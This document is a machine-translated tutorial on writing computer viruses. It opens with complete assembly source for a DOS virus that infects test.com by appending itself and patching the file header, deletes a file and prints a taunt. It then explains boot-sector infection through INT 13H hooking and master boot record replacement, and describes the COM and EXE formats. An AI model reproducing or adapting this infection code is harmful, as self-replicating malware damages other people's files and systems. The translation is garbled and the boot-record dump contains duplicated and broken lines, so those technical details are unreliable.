Basic techniques for writing viruses


The preparation of the virus is a kind of advanced technology, the real virus generally have: infectious, hidden (also known as latent), destructive. Now there are many kinds of viruses, such as the usual infection of executable files of viruses, macro viruses and so on. But the original, most destructive viruses are viruses that infect executable files (like the CIH virus), which are generally written in assembly language. There are many people who are curious about the virus and yearning, but often because of assembly language difficult to learn and so on.
This article is to teach you how to make a simple program, although the program is not a virus but with the virus contagious, and often the virus is the most difficult to achieve the infectious is common people.

, now turn to the topic, first talk about how the virus is infected, and how the infection in the file after the implementation of, in fact, the truth is very simple: the virus generally writes its code to the tail of the execution file, and then the execution file executes the file at the end of the virus code, and then jump back to the original code to execute. Now give a sample example to illustrate:

-----------------------------------------
Function: Infect the test.com file of the current folder
£ ; and delete the Del.txt file for the current folder
£ ; Display a preset string
cseg SEGMENT
assume cs:cseg,ds:cseg,ss:cseg
main PROC near
mainstart:
call vstart; Virus code starts at the beginning
vstart:
pop SI; Get current address
mov Bp,si; Save current address
push SI
mov ah,9
add si,offset message-offset vstart; display preset string
mov Dx,si
int 21h
pop SI
add si,offset Yuan4byte-offset Vstart; Get the first four bytes in the original program
mov di,100h; Destination Address
mov Ax,ds:[si]; start copying
mov Ds:[di],ax
inc SI
inc SI
inc DI
inc DI
mov Ax,ds:[si]
mov Ds:[di],ax
mov si,bp; restore Address value
mov Dx,offset Delname-offset Vstart
add Dx,si
mov ah,41h
int 21h
mov dx,offset filename-offset vstart; get file name
add Dx,si
mov al,02
mov AH,3DH; Write a file
int 21h
JC Error
mov bx,ax; file handle
mov Dx,offset yuan4byte-offset Vstart; Read the first four bytes of a file
add Dx,si
mov cx,4
mov AH,3FH
int 21h
mov ax,4202h; To the end of the file
xor CX,CX
xor DX,DX
int 21h
mov di,offset New4byte-offset Vstart; Save the place to jump
add di,2
add Di,si
sub ax,4
mov Ds:[di],ax
add Si,offset Mainstart-offset Vstart; Preparing to write a virus
mov Dx,si
mov Vsizes,offset Vends-offset Mainstart
mov cx,vsizes
mov ah,40h
int 21h
mov si,bp; locating to file header
mov al,0
xor CX,CX
xor DX,DX
mov ah,42h
int 21h
mov ah,40h; Write a new file header
mov cx,4
mov Dx,offset New4byte-offset Vstart
add Dx,si
int 21h
mov Ah,3eh; Close file
int 21h
error:
mov ax,100h
push AX
ret
main ENDP
yuan4byte:
ret
db 3 DUP (?)
vsizes DW 0
new4byte DB ' M ', 0e9h,0,0
filename DB "test.com", 0
delname DB "Del.txt", 0
message DB "He he he he!"
db 0dh,0ah, "$"
vends:
start:
mov ax,cseg
mov Ds,ax
mov Ss,ax
call Main
mov ax,4c00h
int 21h
cseg ENDS
end start
The above is a simple program code that can infect COM files, but also want to do at the outset of the infectious quality of the first program. How is it... It's not hard.
 £ º
When the com file executes, copy all of the contents of the COM file to memory, the starting address is 100, and then execute
There is no such thing as the section, paragraph, and so COM file viruses are the simplest and simplest viruses


How to write a virus

Teaching how to write a virus is a very sensitive topic. This will cause the virus to flood. There is no need to learn how to write a virus. This involves a problem, what is the cause of the virus flooding. Because there are too many people who can write the virus or because there are too few people who know how to deal with the virus. When the crooks everywhere, we should let everyone know the means of deception fraud to prevent deception or should conceal the behavior of liars. To make people understand the law is to abet people against the law.

First, how to write the Master boot record and boot area virus

What is the master boot record. Where the master boot record is stored. A master boot record is a program used to load the boot sector of a hard disk's active partition. The master boot record is stored on the hard drive 0-channel 0 cylinder 1 sector, the maximum length is one sector. When booting from the hard disk, the BIOS bootloader mounts the master boot record to 0:7c00h and then gives control to the master boot record. In general, the boot zone virus exists on a floppy disk. Because there is no partition on the floppy disk, you can consider it as the master boot record for the floppy disk. The boot area of the floppy disk exists in its 0-channel, 0-side, 1-sector area with a length of one sector.

The general Master boot records the principle of viruses.

Generally, this kind of virus is to save the original master boot record and replace the original master boot record with your own program. At startup, when the virus body gets control, and after its own processing, the virus reads the saved master boot record into the 0:7c00, and then gives control to the owner boot record to start. The infection of this kind of virus to the hard disk is generally when starting with the poisonous floppy disk, the infection of the floppy disk usually is when the system is poisonous to the floppy disk operation.

What you need to know to write a master boot record virus

1, what to save the original master boot record.

It is well known that the file type virus is used to save the infected part of the modified file. Can a boot virus also use a file to store an overwritten boot record? The answer is in the negative. Since the master boot record virus executes prior to the operating system, it cannot use the function calls of the operating system, but only using the function calls of the BIOS or using the direct IO design. In general, the disk service using the BIOS saves the master boot record in an absolute sector. Because 0-Channel 0-Side 2 sectors are reserved sectors, it is usually used to save.

2, need to master the BIOS disk service function call.

INT 13H Sub-function 02H read sector

It is called by:

The entrance is:

ah=02h

Al= number of sectors read in

Ch= Track number

Cl= Sector code (starting from 1)

Dh= Number One

dl= Physical Drive letter

Es:bx--> the buffer to fill

Returned as: Indicates that the call failed when the CF is placed

ah= status

Al= number of sectors actually read in

INT 13H Sub-function 03H write sector

It is called by:

The entrance is:

ah=03h

Al= number of sectors written

Ch= Track number

Cl= Sector code (starting from 1)

Dh= Number One

dl= Physical Drive letter

Es:bx--> Buffer

Returned as: Indicates that the call failed when the CF is placed

ah= status

Al= the number of sectors actually written

3. What do these viruses do to infect?

Typically, this type of virus is monitored by intercepting the interrupt vector int 13H. When there are disks or hard disk read and write, the virus will detect whether it is clean and infected if it is not yet infected.

4. Where to reside

Usually the virus gets the space it resides by modifying the size of its base memory. The base memory size is stored in 40h:13h, in kilobytes. The virus body exists in the last few K memory.

==========================================================

Second, how to write a DOS virus.

Since the core war, the virus from the DOS era of the virus to the WinDOS system virus, from the transformation, encryption to intelligent now the virus is to make people can't be prevented, now on the network of rampant virus, to people bring a great harm, I only do in this, introduce the principle of the virus, I hope that we jointly study and exchange. (This article refers to some of the articles on the web and references some of the content.) ）
To learn the virus under DOS, first you have to learn or master assembly language. Dos virus is generally divided into boot-type virus, file-type virus, mixed virus and so on. Most viruses are infected with COM and EXE files, so you must understand the structure of COM files and EXE files.
One. COM file structure and principle
. COM files are relatively simple. The COM file contains an absolute image of the program-that is, in order to run the program's accurate processor instructions and in-memory data, MS-DOS is loaded by directly copying the image from the file to the memory. COM program, it does not make any changes. To load one. COM program, MS-DOS first tries to allocate memory because. The COM program must be in a 64K segment, so. The size of the COM file cannot exceed 65,024 (64K minus 256 bytes for the PSP and at least 256 bytes for a starting stack). If MS-DOS cannot allocate enough memory for a program, a PSP, or a starting stack, qq:9750406 fails the allocation attempt. Otherwise, MS-DOS allocates as much memory as possible (until all memory is reserved), even if. The COM program itself cannot be larger than 64K. Most of the before attempting to run another program or allocate additional memory. The COM program frees any memory that is not needed.
After allocating memory, MS-DOS establishes a PSP in the first 256 bytes of the memory, and if the first FCB in the PSP contains a valid drive identifier, then Al is 00h, otherwise 0FFh. MS-DOS also resets AH to 00h or 0FFh, depending on whether a second FCB contains a valid drive identifier. After the PSP is built, MS-DOS starts (offset 100h) load immediately after the PSP. COM files, which place Ss,ds and ES as the segment address of the PSP, and then create a stack. To create a stack, the MS-DOS SP is 0000h, if at least 64K of memory has been allocated; The register is a value that is 2 larger than the total number of bytes allocated. Finally, it takes the 0000h push stack (this is to ensure compatibility with programs designed on earlier MS-DOS versions). MS-DOS starts the program by shifting the control to the instruction at 100h. The programmer must ensure that the first instruction of the. com file is the entry point of the program. Note that because the program is loaded at offset 100h, all code and data offsets must also be relative to 100h. Assembly language programmers can pass the initial value of the programmed program to 100h and ensure that
One o'clock (e.g. by using the statement org 100h at the beginning of the original program).
Two-EXE file structure
EXE file is more complex, each EXE file has a file header, the structure is as follows:
EXE file header information
―――――――――――――――――――
├ offset ┤ meaning ┤
├00h-01h┤mz ' exe file tag ┤
├2h-03h┤ the remainder of the file length except 512 ┤
├04h-05h┤ ......... Shang ┤
├06h-07h┤ number of relocated items ┤
├08h-09h┤ file header except for 16 quotient ┤
├0ah-0bh┤ minimum number of segments required to run the program ┤
├0ch-0dh┤ ........ Big.... ┤
├oeh-0fh┤ the segment value of the stack segment (SS) ┤
├10h-11h┤........sp┤
├12h-13h┤ File Checksum ┤
├14h-15h┤ip┤
├16h-17h┤cs┤
├18h-19h┤ ....... ┤
├1ah-1bh┤ ....... ┤
├1ch┤ ....... ┤
―――――――――――――――――――――――――
. EXE file contains a file header and a relocatable program image. The file header contains information that MS-DOS uses to load the program, such as the size of the program and the initial value of the register. The file header also points to a relocation table that contains a list of pointers to the address of the relocatable segment in the program image. The file header form corresponds to the Exeheader structure:
Exeheader Struc
Exsignature DW 5a4dh;. EXE flag
Exexrabytes DW?; Number of bytes in the last (partial) page
Expages DW?; All and part of the pages in the file
Exrelocitems DW?; reposition the number of pointers in a table
Exheadersize DW?; file header size in bytes
Exminalloc DW?; minimum allocation size
Exmaxalloc DW?; maximum allocation size
EXINITSS DW?; Initial SS value
EXINITSP DW?; Initial SP value
Exchechsum DW?; complement check value
Exinitip DW?; Initial IP value
Exinitcs DW?; Initial CS Value
Exreloctable DW? reposition Table byte offset
Exoverlay DW?; Cover number
The Exeheader ends program image contains the initial data for the processor code and the program, immediately after the file header. Its size is in bytes, equal to. The size of the EXE file minus the size of the file header, also equals the value of the Exheadersize field multiplied by 16. MS-DOS uses the image to copy the image directly from the file to the memory load. EXE program and then adjust the address of the relocatable segment described in the Location table.
A locator table is an array of reposition pointers, each of which points to the address of a relocatable segment in the program's image. The Exrelocitems field in the header describes the number of pointers in the array, and the Exreloctable field describes the starting file offset for the allocation table. Each reposition pointer consists of two 16-bit values: Offset and segment values. To load. EXE program, MS-DOS first reads the file header to determine the. exe flag and calculates the size of the program image. Then it tries to request memory. First, it calculates the size of the program image file plus the size of the PSP plus the memory size of the Exminalloc domain description in the Exeheader structure, and if the sum exceeds the size of the maximum available memory block. Then MS-DOS stops loading the program and returns an error value. Otherwise, it calculates the size of the program image plus the size of the PSP, plus the memory size of the Exmaxalloc domain description in the Exeheader structure, and if the second sum is less than the size of the maximum available memory block, MS-DOS allocates the amount of memory that is computed. Otherwise, it allocates the largest available block of memory. After the memory is allocated, MS-DOS determines the segment address, also known as the starting segment address, from which MS-DOS loads the program image. If the values in both the Exminalloc domain and the exmaxalloc domain are zero, MS-DOS will load the image as far as possible to the highest memory. Otherwise, it loads the image on top of the PSP domain. Next, MS-DOS reads the items in the relocation table to adjust all the segment addresses that are described by the relocatable pointer. For each pointer in the relocation table, MS-DOS looks for the corresponding relocatable segment address in the program image and adds the starting segment address to it. Once the adjustment is complete, the segment address points to the code and data segment of the loaded program in memory. MS-DOS constructs a 256-byte PSP on the lowest part of the allocated memory, setting Al and Ah to load. The value that is set by the COM program. MS-DOS uses the values in the file header to set the SP and SS, adjust the SS initial value, and add the starting address to it. MS-DOS also sets Es and DS as the segment address of the PSP. Finally, MS-DOS reads the initial value of CS and IP from the program file header, adds the starting segment address to CS, and transfers control to the program at the adjusted address.

Three, the principle of guided virus
To understand the principle of the boot virus, first understand the structure of the boot area. Floppy disk has only one boot area, called DOS boot Secter, as long as the floppy disk is formatted, it will exist. It functions as a lookup disk with or without Io.sys DOS. SYS, if there is a boot, if none display ' No SYSTEM DISK ... ' and other information. The hard disk has two boot zones, in 0-side 0-Channel 1 sector called the main boot area, there is a master boot program and partition table, the main boot program to find the active partition, the first sector of the partition is the DOS BOOT secter. The vast majority of viruses infect the hard drive's main boot sector and the floppy DOS boot sector.

3.5 "Floppy Disk format * * *
3.5 "Floppy disk is double-sided, so 0 tracks have both sides, the front is 0-17 sectors,
The reverse is a 18-35-sector area.
0 Sectors: Boot area (boot sector);
1-9 Sectors: 1st FAT Area (first file allocation table);
10-18 Sectors: 2st FAT Area (second file allocation table);
19-32 Sectors: Root dir area (also known as File Directory TABLE,FDT)
File directory table (root directory)
33-2879 Sectors: Data area

Master boot Record structure for hard disk * * *
The master boot record structure of the hard disk
Offset machine code Symbol instruction description
0000 FA CLI; shielded interrupt
0001 33c0 XOR Ax,ax
0003 8ed0 MOV ss,ax;(SS) =0000h
0005 bc007c MOV sp,7c00;(SP) =7c00h
0008 8bf4 MOV si,sp;(SI) =7c00h
000A PUSH AX
000B POP es;(es) =0000h
000C PUSH AX
000D 1F POP DS;(D s) =0000h
000E FB STI
000F FC CLD
0010 BF0006 MOV di,0600
0013 B90001 MOV cx,0100; Total 512 bytes
0016 F2 REPNZ
0017 A5 movsw; the master bootloader moved itself from the 0000:7C00 to the
At 0000:0600, the boot program for the DOS partition is free
; Out of space
0018 ea1d060000 JMP 0000:061d; jump to 0000:061d to continue execution, actually
; perform the following MOV instruction (001D offset)
001D BEBE07 MOV si,07be; 07be-0600=01be,01be is the first address of the partition table
0020 B304 MOV bl,04; partition table up to 4, or up to 4 partitions
0022 803c80 CMP BYTE PTR [si],80; 80H indicates active partition
0025 740E JZ 0035; Find the active partition jump away
0027 803c00 CMP BYTE PTR [si],00; 00H is a valid partition flag
002A 751C jnz 0048; the partition table is not valid if it is neither 80H nor 00H
002C 83c610 ADD si,+10; Next partition table entry, 16 bytes per item
002F FECB DEC BL; cycle Count minus One
0031 75EF jnz 0022; Check the next partition table entry
0033 CD18 INT 18; 4 are not bootable then enter ROM Basic
0035 8b14 MOV Dx,[si]
0037 8B4C02 MOV cx,[si+02]; Take the area of the boot sector of the active partition, cylinder, sector
003A 8BEE MOV Bp,si; then proceed to check the following partition table entries
003C 83c610 ADD si,+10
003F FECB DEC BL
0041 741A JZ 005D; 4, check it out. Boot the active partition
0043 803c00 CMP BYTE PTR [si],00; 00H is a partition valid flag
0046 74f4 JZ 003C; This partition table entry is valid continue to check the next
0048 be8b06 MOV si,068b; 068b-0600=018b, take "Invalid Partition" string
004B AC LODSB; take one character from a string
004C 3c00 CMP al,00; 00H for end of string
004E 740B JZ 005B; The string shows up and goes into the dead loop.
0050-SI
0051 BB0700 MOV bx,0007
0054 b40e MOV ah,0e
0056 CD10 INT 10; display one character
0058 5E POP SI
0059 EBF0 JMP 004B; cycle to display the next character
005B Ebfe JMP 005B; here's The dead loop.
005D BF0500 MOV di,0005; read into the active partition's boot fan, up to probation 5 times
0060 bb007c MOV bx,7c00
0063 B80102 MOV ax,0201
0066-PUSH DI
0067 CD13 INT 13; read
0069 5F POP DI
006A 730C JNB 0078; If the reading is successful, jump away.
006C 33c0 XOR Ax,ax
006E CD13 INT 13; Read failure resets the disk
0070 4F DEC DI
0071 75ED jnz 0060, less than 5 times probation
0073 BEA306 MOV si,06a3; 06a3-0600=00a3, which is the "Error loading" string
0076 EBD3 JMP 004B; go to display the string and enter the dead loop
0078 BEC206 MOV si,06c2; 06c2-0600=00c2, i.e. "Missing.." String
0076 EBD3 JMP 004B; go to display the string and enter the dead loop
0078 BEC206 MOV si,06c2; 06c2-0600=00c2, i.e. "Missing.." String
007B bffe7d MOV di,7dfe; 7dfe-7c00=01fe, the boot fan of the active partition
The first address of the last two bytes of the zone
007E 813D55AA CMP WORD PTR [Di],aa55; the last two bytes is aa55h valid
0082 75c7 jnz 004B; Invalid display string and enter Dead loop
0084 8bf5 MOV SI,BP
0086 ea007c0000 JMP 0000:7c00; jump to boot the partition
0080 6E 6C inval
0090 (69-74) 6F 6E (partition) ID tab
00a0 6C 6F 72-20 6C 6F----6E Error loading
00b0 6F (69-6e)--the operating Syste
00C0 6D 4D, 6E-67 6F, m.missing, Operat
00d0 6E, 74-65 6D xx, FB 4C. 1D ing system ... L8.
00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
00f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0100 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0180 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
0190 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
01a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
01b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 80 01 ....... Partition table
01c0 0F 7F 9C 3F 00-00 F1 59 06 00 00 00 ...? .... Y....
01d0 9D 0F FF (5a-06)----XX 80Z.. @v ....
01E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .......
01f0 xx xx xx xx 00-00 xx xx xx xx xx .......... U.

Use the 02 function call of int 13H to read the hard drive master boot record at the 0-Channel 0-head 1 sector in the hard disk reserved sector to the es:bx of memory. Now read out the program code for the following analysis:

1. Mobile Master Boot recording Program
0E74:7C00 33c0 XOR Ax,ax; AX zeroing
0E74:7C02 8ed0 MOV Ss,ax; SS zeroing
0E74:7C04 bc007c MOV sp,7c00; sp=7c00, stack set in 0:7c00h
0e74:7c07 FB STI; open interrupt
0E74:7C08 PUSH AX
0E74:7C09-POP ES; es=0
0e74:7c0a PUSH AX
0e74:7c0b 1F POP DS; ds=0
0e74:7c0c FC CLD
0e74:7c0d be1b7c MOV si,7c1b; source address is 0:7c1bh
0E74:7C10 bf1b06 MOV di,061b; The destination address is 0:061bh
0e74:7c13 PUSH AX
0e74:7c14-PUSH DI
0E74:7C15 b9e501 MOV cx,01e5; move 01E5 bytes
0e74:7c18 F3 RepZ; master boot record from 0:7C1B-0:7DFF
0e74:7c19 A4 MOVSB; move to 0:061B-0:07FF
0E74:7C1A CB retf; transfer to 0:061b, continue to execute program

2, sequentially find four hard disk partition table, looking for bootstrap flag
0e74:061b BEBE07 MOV si,07be; SI points to drive partition table 1 bootstrap flag

0e74:061e B104 MOV cl,04; find four partitions
0e74:0620 382C CMP [si],ch
0e74:0622 7c09 JL 062D; if the 7th digit of [SI] is 1, it is a self-
; Lift the sign, turn 062DH
0e74:0624 7515 jnz 063B; if [SI] is not 0, error, turn 063BH
0e74:0626 83c610 ADD si,+10, examine four partition tables sequentially until you find

0e74:0629 e2f5 LOOP 0620; bootstrap flag
0e74:062b CD18 INT 18; No bootstrap flag found, enter boot XOR
N. An ordinary handler.
0e74:062d 8b14 MOV Dx,[si]; save Bootstrap drive letter in DL
0e74:062f 8BEE MOV bp,si; save bootstrap partition address pointer to BP
0e74:0631 83c610 ADD si,+10; Continue to verify partitions after the bootstrap partition
0e74:0634 DEC CX; Bootstrap flag up to four partitions
0e74:0635 7416 JZ 064D; check it out.
0e74:0637 382C CMP [Si],ch; If the rest of the bootstrap flag is not 0, error

0e74:0639 74f6 JZ 0631

3, error, write screen program segment
0e74:063b BE1007 MOV si,0710; error message output, dead loop
0e74:063e 4E DEC SI
0e74:063f AC LODSB
0e74:0640 3c00 CMP al,00
0e74:0642 74FA JZ 063E
0e74:0644 BB0700 MOV bx,0007
0e74:0647 b40e MOV ah,0e
0e74:0649 CD10 INT 10
0e74:064b EBF2 JMP 063F

The function of the

Hard disk master boot logger is to read the boot program of the bootstrap partition and transfer the control to the partition boot program. 　The whole program flow is as follows:
1 to move the main boot recorder of the hard disk read into the 0:7c00h to 0:61bh;
⑵ The bootstrap flag of the four partition table in order to find the bootstrap partition and, if not found, to execute the int18h boot exception execution interrupt program;
⑶ When a bootstrap partition is found, the system flag for the partition is detected, and if it is a 32-bit fat table or 16-bit FAT table that supports the extended function of the 13th interrupt, it goes to the number 41st function call that performs the 13th interrupt to perform the installation inspection, the test succeeds, On the execution of the 42nd expansion read function call the boot area program read into the memory 0:7c00h, success, skip to step ⑸, if the read failure or the system flag for other, call 13th interrupt read sector function call to read the boot to 0:7c00h;
⑷ with the 13th interrupt read sector function, The probation is performed 5 times in two different ways. The first way is to read the boot program directly from the header sector of the bootstrap partition, if the read succeeds, but the end flag is not 55AA, then the second method is used instead, and if the first method probation five times is unsuccessful, the second method is changed. If both methods probation fail, go to the error handler,
⑸ read into boot area successfully, go to 0:7c00h to execute boot program.